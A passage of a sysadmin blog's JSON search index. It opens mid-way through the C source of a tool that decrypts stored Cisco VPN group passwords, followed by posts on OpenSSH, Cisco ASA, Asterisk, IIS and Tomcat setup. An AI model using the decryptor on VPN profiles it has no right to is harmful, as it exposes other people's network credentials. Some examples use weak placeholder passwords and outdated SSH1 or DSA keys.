style=\"display:flex;\"\u003e\u003cspan\u003ememcpy(key, h2, \u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ememcpy(key\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e, h3, \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e/*\u003c/span\u003e who cares about parity anyway\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e?\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egcry_md_hash_buffer(GCRY_MD_SHA1, ht, enc, len);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (memcmp(h4, ht, \u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eres \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e malloc(len);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (res \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e NULL)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egcry_cipher_open(\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003ectx, GCRY_CIPHER_3DES, GCRY_CIPHER_MODE_CBC, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egcry_cipher_setkey(ctx, key, \u003cspan style=\"color:#ae81ff\"\u003e24\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egcry_cipher_setiv(ctx, iv, \u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egcry_cipher_decrypt(ctx, (unsigned char \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e)res, len, (unsigned char \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e)enc, len);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egcry_cipher_close(ctx);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ereslen \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e len \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e res[len\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e];\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eres[reslen] \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\0\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (resp)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003eresp \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e res;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (reslenp)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003ereslenp \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e reslen;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003eint\u003c/span\u003e main(\u003cspan style=\"color:#a6e22e\"\u003eint\u003c/span\u003e argc, char \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003eargv[])\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003eint\u003c/span\u003e i, len, ret \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003echar \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003ebin, \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003epw;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egcry_check_version(NULL);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e (i \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e; i \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e argc; i\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eret \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e hex2bin(argv[i], \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003ebin, \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003elen);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (ret \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eperror(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;decoding input\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003econtinue\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eret \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e c_decrypt(bin, len, \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003epw, NULL);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003efree(bin);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (ret \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eperror(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;decrypting input\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003econtinue\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eprintf(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e%s\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e, pw);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003efree(pw);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eexit(ret \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDownload: cisco\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edecrypt\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"cisco-decrypt.c"},{"content":"Durante una migrazione di datacenter mi è capitato di aver fuori uso la console di un server perchè la risoluzione della scheda video è fuori range del monitor, avendo accesso RDP la soluzione è presto trovata dal registro di sistema nella seguente posizione:\nMy Computer\\HKEY_CURRENT_CONFIG\\System\\CurrentControlSet\\Control\\VIDEO Trovando la stringa \u0026ldquo;Monitor\u0026rdquo; si potrebbe cambiare direttamente la risoluzione, ma personalmente ho cancellato tutto il contenuto e riavviato così facendo ha ricreato le configurazione di default.\n","permalink":"https://www.deepreflect.net/2009/08/15/windows-reset-resolution-from-registry/","summary":"\u003cp\u003eDurante una migrazione di datacenter mi è capitato di aver fuori uso la console di un server perchè la risoluzione della scheda video è fuori range del monitor, avendo accesso RDP la soluzione è presto trovata dal registro di sistema nella seguente posizione:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMy Computer\\HKEY_CURRENT_CONFIG\\System\\CurrentControlSet\\Control\\VIDEO\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eTrovando la stringa \u0026ldquo;Monitor\u0026rdquo; si potrebbe cambiare direttamente la risoluzione, ma personalmente ho cancellato tutto il contenuto e riavviato così facendo ha ricreato le configurazione di default.\u003c/p\u003e","title":"Windows - Reset resolution from registry"},{"content":"OpenSSH require different keys depending if you use SSH1 or SSH2 protocol. All keys are generated by \u0026ldquo;ssh-keygen\u0026rdquo; commad, that one should be available on your system with the ssh package. Default key lengths are also appropriate (2048 bits for rsa and 1024 bits for dsa) For SSH1 protocol, you need a rsa1 key generated has follow:\n# ssh-keygen -q -f /etc/ssh/ssh_host_key -N '' -t rsa1\nFor SSH2 protocol, you need two keys, one rsa key and one dsa key generated has follow:\n# ssh-keygen -f /etc/ssh/ssh_host_rsa_key -N '' -t rsa # ssh-keygen -f /etc/ssh/ssh_host_dsa_key -N '' -t dsa\n","permalink":"https://www.deepreflect.net/2009/08/11/openssh-generate-server-key/","summary":"\u003cp\u003eOpenSSH require different keys depending if you use SSH1 or SSH2 protocol. All keys are generated by \u0026ldquo;ssh-keygen\u0026rdquo; commad, that one should be available on your system with the ssh package. Default key lengths are also appropriate (2048 bits for rsa and 1024 bits for dsa)\nFor SSH1 protocol, you need a rsa1 key generated has follow:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# ssh-keygen -q -f /etc/ssh/ssh_host_key -N '' -t rsa1\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eFor SSH2 protocol, you need two keys, one rsa key and one dsa key generated has follow:\u003c/p\u003e","title":"OpenSSH - Generate server key"},{"content":"If you have tried to setup SSH access on a new ASA, it might not have worked the way you wanted. That is because the RSA keys need to be generated first. To do that:\nfrom configure terminal:\nfw01/act(config)# crypto key generate rsaINFO: The name for the keys will be: Keypair generation process begin. Please wait… And then configure SSH to be allowed from the inside interface:\nfw01/act(config)# ssh (inser your ip) (insert your netmask) outside\nNow you can configure AAA and setup your own username.\nFirst, a username needs to be created:\nfw01/act(config)# username leonardo password mypassword privilege 15\nAnd then configure AAA:\nfw01/act(config)# aaa authentication ssh console LOCAL\n","permalink":"https://www.deepreflect.net/2009/08/06/cisco-asa-enable-ssh/","summary":"\u003cp\u003eIf you have tried to setup SSH access on a new ASA, it might not have worked the way you wanted. That is because the RSA keys need to be generated first. To do that:\u003c/p\u003e\n\u003cp\u003efrom configure terminal:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003efw01/act(config)# crypto key generate rsaINFO: The name for the keys will be:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eKeypair generation process begin. Please wait…\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAnd then configure SSH to be allowed from the inside interface:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003efw01/act(config)# ssh (inser your ip) (insert your netmask) outside\u003c/code\u003e\u003c/p\u003e","title":"Cisco ASA - Enable SSH"},{"content":"A little fix for arrow keys in Vim, that display A B C D on remote terminal if in the system you don\u0026rsquo;t wanna declare \u0026ldquo;TERM\u0026rdquo; just insert into yout ~/.vimrc the terminal type like this:\nset term=xterm ","permalink":"https://www.deepreflect.net/2009/07/22/vim-fix-arrow-keys-that-display-a-b-c-d-on-remote-shell/","summary":"\u003cp\u003eA little fix for arrow keys in Vim, that display A B C D on remote terminal if in the system you don\u0026rsquo;t wanna declare \u0026ldquo;TERM\u0026rdquo; just insert into yout ~/.vimrc the terminal type like this:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eset term=xterm\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Vim - Fix arrow keys that display A B C D on remote shell"},{"content":"Optimized Applications for Solaris OS and OpenSparc computing.\nSimple and very useful example is \u0026ldquo;Cool Stack\u0026rdquo; a web deployment packge include most commonly used free and open source applications, recompiled to deliver a 30 to 200 percent performance improvement over standard binaries compiled with GCC.\nCool Tools.\n","permalink":"https://www.deepreflect.net/2009/07/21/cool-tools-for-opensparc/","summary":"\u003cp\u003eOptimized Applications for Solaris OS and OpenSparc computing.\u003c/p\u003e\n\u003cp\u003eSimple and very useful example is \u0026ldquo;Cool Stack\u0026rdquo; a web deployment packge include most commonly used free and open source applications, recompiled to deliver a 30 to 200 percent performance improvement over standard binaries compiled with GCC.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://cooltools.sunsource.net/\"\u003eCool Tools\u003c/a\u003e.\u003c/p\u003e","title":"Cool Tools for OpenSPARC"},{"content":"Memo: Solaris package.\nCSW packaging home.\n","permalink":"https://www.deepreflect.net/2009/07/21/csw-packaging-home/","summary":"\u003cp\u003eMemo: Solaris package.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.opencsw.org/\"\u003eCSW packaging home\u003c/a\u003e.\u003c/p\u003e","title":"CSW packaging"},{"content":"[caption id=\u0026ldquo;attachment_524\u0026rdquo; align=\u0026ldquo;alignleft\u0026rdquo; width=\u0026ldquo;512\u0026rdquo; caption=\u0026ldquo;9° Est\u0026rdquo;][/caption]\nRecentemente ho rifatto i puntamenti di alcune parabole, qui in particolare il grafico dello spettro del satellite Eurobird 9° Est (Ex Hotbird 2 ora riposizionato) facente parte della flotta Eutelsat.\n","permalink":"https://www.deepreflect.net/2009/07/18/satellite/","summary":"\u003cp\u003e[caption id=\u0026ldquo;attachment_524\u0026rdquo; align=\u0026ldquo;alignleft\u0026rdquo; width=\u0026ldquo;512\u0026rdquo; caption=\u0026ldquo;9° Est\u0026rdquo;]\u003cimg alt=\"9° Est\" loading=\"lazy\" src=\"/wp-content/uploads/2009/07/9e.JPG\"\u003e[/caption]\u003c/p\u003e\n\u003cp\u003eRecentemente ho rifatto i puntamenti di alcune parabole, qui in particolare il grafico dello spettro del satellite Eurobird 9° Est (Ex Hotbird 2 ora riposizionato) facente parte della flotta Eutelsat.\u003c/p\u003e","title":"Satellite"},{"content":"Questo risulta essere un argomento un po\u0026rsquo; delicato sopratutto sconsigliato a chi non ha un minimo di dimestichezza con asterisk, dal momento che non mi dilunghero troppo in spiegazioni sul funzionamento ma darò indicazioni essenziali e basta.\nChiunque abbia provato ad usare asterisk su eutelia una volta skypho è sicuramente incappato in qualche problema sia sulla parte di registrazione sia sulla parte di streaming dei flussi rtp, la spiegazione di tutto ciò è abbastanza semplice eutelia appoggia il sistema sip che distribuisce ai cliente utilizzando il Cisco SIP Gateway, lo si può capire velocemente facendo debug. Questa soluzione spesso non è molto propensa a dialogare con asterik in modo standard, pertanto se state usando interfacce GUI o soluzioni embedded potete smettere di leggere perchè la maggior parte delle volte è impossibile uscire dagli schemi imposti.\nOra il problema: capita che registrando due o più trunk con numerazione in ingresso nonostante la definizione di context diversi per ogni numero, la chiamata diretta a numeri differenti segua sempre la stessa strada anche definendo DID e non facendo Catchall sul trunk/context stesso; questo succede perchè tutto il flusso in arrivo da eutelia viene riconosciuto e inoltrato sul primo trunk che si registra presso il gateway. Fra le possibili soluzioni ci sarebbe avere un ip pubblico per trunk oppure come letto in giro per la rete modificare la porta da 5060 a 5061 e così via.. Certo sono soluzioni possibili ma per niente pratiche e a volte poco stabili.\nLa soluzione testata e affidabile usando 4 trunk è la seguente: -premessa sullo scenario nel mio caso il pbx è nattato utilizzando un ip pubblico statico, ma la stessa soluzione è testata anche su un pbx con ip pubblico in routing senza nat. -nelle configurazioni i numeri sono oscurati ommettendo le ultime tre cifre con XXX e al posto delle password è inserita la parola \u0026ldquo;mysecret\u0026rdquo;\nPrima cosa definiamo il trunk e il context principale nel file /etc/asterisk/users.conf qui è importante definire il primo trunk o quello preferito per le chiamate in uscita dato che lo stesso context può essere usato anche per quello.\n[eutelia] type = friend srvlookup = yes realm = voip.eutelia.it username = 0245071XXX secret = mysecret fromuser = 0245071XXX fromdomain=voip.eutelia.it qualify = yes insecure = port,invite host = voip.eutelia.it context = from-eutelia nat = yes canreinvite = no disallow = all allow = ulaw allow = alaw useragent=Asterisk_Eut Successivamente definiamo la registrazione dei numeri aggiuntivi nel file /etc/asterisk/sip.conf:\nregister =0245071XXX:mysecret@eutelia/0245071XXX register =0245072XXX:mysecret@eutelia/0245072XXX register =0245073XXX:mysecret@eutelia/0245073XXX register =0245074XXX:mysecret@eutelia/0245074XXX Ora l\u0026rsquo;ultima fase definiamo dove far andare le chiamate e dove farle uscire, questo nel file /etc/asterisk/extensions.conf\n#DID in ingresso dal context di eutelia qui definiamo dove dirottare le chiamate, nel primo esempio vanno ad un gruppo di chiamata, nel secondo ad un voice menu, nel terzo ad un exetension SCCP e infine nel quarto ad un extension SIP\n[from-eutelia] exten =0245071XXX,1,GoTo(ringroup1,s,1) exten =0245072XXX,1,GoTo(voicemenu1,s,1) exten =0245073XXX,1,Dial(SCCP/114) exten =0245074XXX,1,Dial(SIP/112) Ora per definire le chiamate in uscita dovete andare nel vostro context principale in cui sono definite le regole per le extension e il dialplan, tipicamente lo riconoscete perché è quello definito nel file user all\u0026rsquo;interno delle singole extension, nel mi caso di chiama \u0026ldquo;DialPlan01\u0026rdquo;\n#Questo formato inoltra qualsiasi chiamata preceduta dal condice di impegno della linea \u0026ldquo;0\u0026rdquo; sul trunk eutelia ovviamente rimuovenlo prima dell\u0026rsquo;inoltro:\n[DialPlan01] exten = _0.,1,Dial(SIP/eutelia/${EXTEN:1}) exten =112,1,dial(SIP/112) exten =114,1,dial(SCCP/114) Ammetto che lo \u0026ldquo;0\u0026rdquo; per l\u0026rsquo;impegno delle linee è una cosa abbastanza antiquata derivata dai vecchi pbx a cui in parte sono ancora affezzionato, è possibile benissimo definirla in questo modo:\nexten = _.,1,Dial(SIP/eutelia/${EXTEN})\nIn modo che tutte le chiamate non locali vengano inoltrate direttemente sul trunk.\n","permalink":"https://www.deepreflect.net/2009/07/18/asterisk-eutelia-sip/","summary":"\u003cp\u003eQuesto risulta essere un argomento un po\u0026rsquo; delicato sopratutto sconsigliato a chi non ha un minimo di dimestichezza con asterisk, dal momento che non mi dilunghero troppo in spiegazioni sul funzionamento ma darò indicazioni essenziali e basta.\u003c/p\u003e\n\u003cp\u003eChiunque abbia provato ad usare asterisk su eutelia una volta skypho è sicuramente incappato in qualche problema sia sulla parte di registrazione sia sulla parte di streaming dei flussi rtp, la spiegazione di tutto ciò è abbastanza semplice eutelia appoggia il sistema sip che distribuisce ai cliente utilizzando il Cisco SIP Gateway, lo si può capire velocemente facendo debug. Questa soluzione spesso non è molto propensa a dialogare con asterik in modo standard, pertanto se state usando interfacce GUI o soluzioni embedded potete smettere di leggere perchè la maggior parte delle volte è impossibile uscire dagli schemi imposti.\u003c/p\u003e","title":"Asterisk - Eutelia SIP"},{"content":"C\u0026rsquo;è una cosa brutta da sapere e si scopre quando per caso proviamo ad installare un servizio in ascolto sulla porta 80 su windows che ha già attivo per sfortuna nostra IIS, si chiama socket pooling, infatti automaticamente iis decide di essere in ascolto su tutti i socket quindi ogni indirizzo configurato sulla macchina, impedendo l\u0026rsquo;avvio di qualsiasi altro servizio (es. apache) anche se apparentemente configurato correttamente.\nPer ovviare a questo problema ecco come fare: -Prima di tutto installate i support tools, dove sono? Inserite il cd nella directory \\Support\\Tools trovate un pacchetto suptools.msi -Ora potete procedere:\nDefinizione dello scenario in questo caso un server con windows con i seguenti ip: xxx.xxx.xxx.xxx (destinato a iis) yyy.yyy.yyy.yyy (destinato ad altro webserver)\nfrom cmd (support tool shell):\n#settiamo l\u0026#39;ip in ascolto di iis httpcfg set iplisten -i xxx.xxx.xxx.xxx #eliminiamo l\u0026#39;ascolto di iis su questo ip httpcfg delete iplisten -i yyy.yyy.yyy.yyy #verifichiamo di non aver fatto errori httpcfg query iplisten #riavviamo il tutto per rendere effettive le modifiche net stop http /y net start w3svc Nota: queste operazioni sono testate su IIS6 quindi sulle piattaforme Windows 2003 (tutte le versioni) non posso garantire il funzionamento identico su 2008\n","permalink":"https://www.deepreflect.net/2009/07/18/iis-socket-pooling/","summary":"\u003cp\u003eC\u0026rsquo;è una cosa brutta da sapere e si scopre quando per caso proviamo ad installare un servizio in ascolto sulla porta 80 su windows che ha già attivo per sfortuna nostra IIS, si chiama socket pooling, infatti automaticamente iis decide di essere in ascolto su tutti i socket quindi ogni indirizzo configurato sulla macchina, impedendo l\u0026rsquo;avvio di qualsiasi altro servizio (es. apache) anche se apparentemente configurato correttamente.\u003c/p\u003e\n\u003cp\u003ePer ovviare a questo problema ecco come fare:\n-Prima di tutto installate i support tools, dove sono? Inserite il cd nella directory \\Support\\Tools trovate un pacchetto suptools.msi\n-Ora potete procedere:\u003c/p\u003e","title":"IIS Socket Pooling"},{"content":"Breve draft su come installare tomcat su debian, in questo caso lenny, le versioni dei pacchetti potrebbero cambiare ma il risultato finale è quello.\nPartiamo installando quello che ci serve:\n#apt-get install tomcat5.5 tomcat5.5-admin sun-java5-jdk tomcat5.5-webapps\nAttenzione, se l\u0026rsquo;installazione debian di default sicuramente non trovo il java jdk, è necessario quindi aggiungere il repository non-free, in apt editando in questo modo: /etc/apt/source.list\ndeb http://your-mirror-url/debian/ lenny main non-free deb-src http://your-mirror-url/debian/ lenny main non-free Configurare il sistema per utilizzare java\nsrv01#update-alternatives --config java\nThere are 2 alternatives which provide \u0026lsquo;java\u0026rsquo;.\nSelection Alternative ---\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026ndash; 1 /usr/lib/jvm/java-1.5.0-sun/jre/bin/java \\*+ 2 /etc/alternatives/kaffe-system/bin/java\nPress enter to keep the default[*], or type selection number:\ndigitiamo 1 per attivare /usr/lib/jvm/java-1.5.0-sun/jre/bin/java\nDefiniamo il runtime java specifico installato e reso di default nel sistema come da step precendenti, editando il file /etc/default/tomcat5.5 e aggiungendo:\nJAVA_HOME=/usr/lib/jvm/java-1.5.0-sun/\nDefiniamo ora gli utenti per l\u0026rsquo;interffaccia di gestione editando il file /var/lib/tomcat5.5/conf/tomcat-users.xml e creando una struttura simile:\n\u0026lt;?xml version=\u0026#39;1.0\u0026#39; encoding=\u0026#39;utf-8\u0026#39;?\u0026gt; \u0026lt;tomcat-users\u0026gt; \u0026lt;role rolename=\u0026#34;tomcat\u0026#34;/\u0026gt; \u0026lt;role rolename=\u0026#34;role1\u0026#34;/\u0026gt; \u0026lt;role rolename=\u0026#34;standard\u0026#34;/\u0026gt; \u0026lt;role rolename=\u0026#34;manager\u0026#34;/\u0026gt; \u0026lt;role rolename=\u0026#34;admin\u0026#34;/\u0026gt; \u0026lt;user username=\u0026#34;tomcat\u0026#34; password=\u0026#34;pwd\u0026#34; roles=\u0026#34;tomcat,admin\u0026#34;/\u0026gt; \u0026lt;user username=\u0026#34;both\u0026#34; password=\u0026#34;pwd\u0026#34; roles=\u0026#34;tomcat,role1\u0026#34;/\u0026gt; \u0026lt;user username=\u0026#34;role1\u0026#34; password=\u0026#34;pwd\u0026#34; roles=\u0026#34;role1\u0026#34;/\u0026gt; \u0026lt;user username=\u0026#34;leo\u0026#34; password=\u0026#34;pwd\u0026#34; fullName=\u0026#34;leonardo\u0026#34; roles=\u0026#34;standard\u0026#34;/\u0026gt; \u0026lt;user username=\u0026#34;manager\u0026#34; password=\u0026#34;pwd\u0026#34; fullName=\u0026#34;\u0026#34; roles=\u0026#34;manager\u0026#34;/\u0026gt; \u0026lt;/tomcat-users\u0026gt; In questo caso sono definiti 3 utenti, due principali e uno definito dall\u0026rsquo;utente (manager, admin, leo)\nFatto questo avviamo tomcat o riavviamolo se già attivo:\nsrv01#/etc/init.d/tomcat5.5 start o restart\nDi default il server è in ascolto sulla porta 8180 quindi per accedere andare all\u0026rsquo;indirizzo:\nhttp://ipserver:8180/\nNota: nel mio caso ho usato il pacchetto jdk5 che contiene il java 1.5.0 è disponibile anche a scelta il pacchetto 1.6.0 ovviamente di chiama jdk6\n","permalink":"https://www.deepreflect.net/2009/07/18/miaoo-tomcat-su-debian/","summary":"\u003cp\u003eBreve draft su come installare tomcat su debian, in questo caso lenny, le versioni dei pacchetti potrebbero cambiare ma il risultato finale è quello.\u003c/p\u003e\n\u003cp\u003ePartiamo installando quello che ci serve:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e#apt-get install tomcat5.5 tomcat5.5-admin sun-java5-jdk tomcat5.5-webapps\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eAttenzione, se l\u0026rsquo;installazione debian di default sicuramente non trovo il java jdk, è necessario quindi aggiungere il repository non-free, in apt editando in questo modo: /etc/apt/source.list\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" 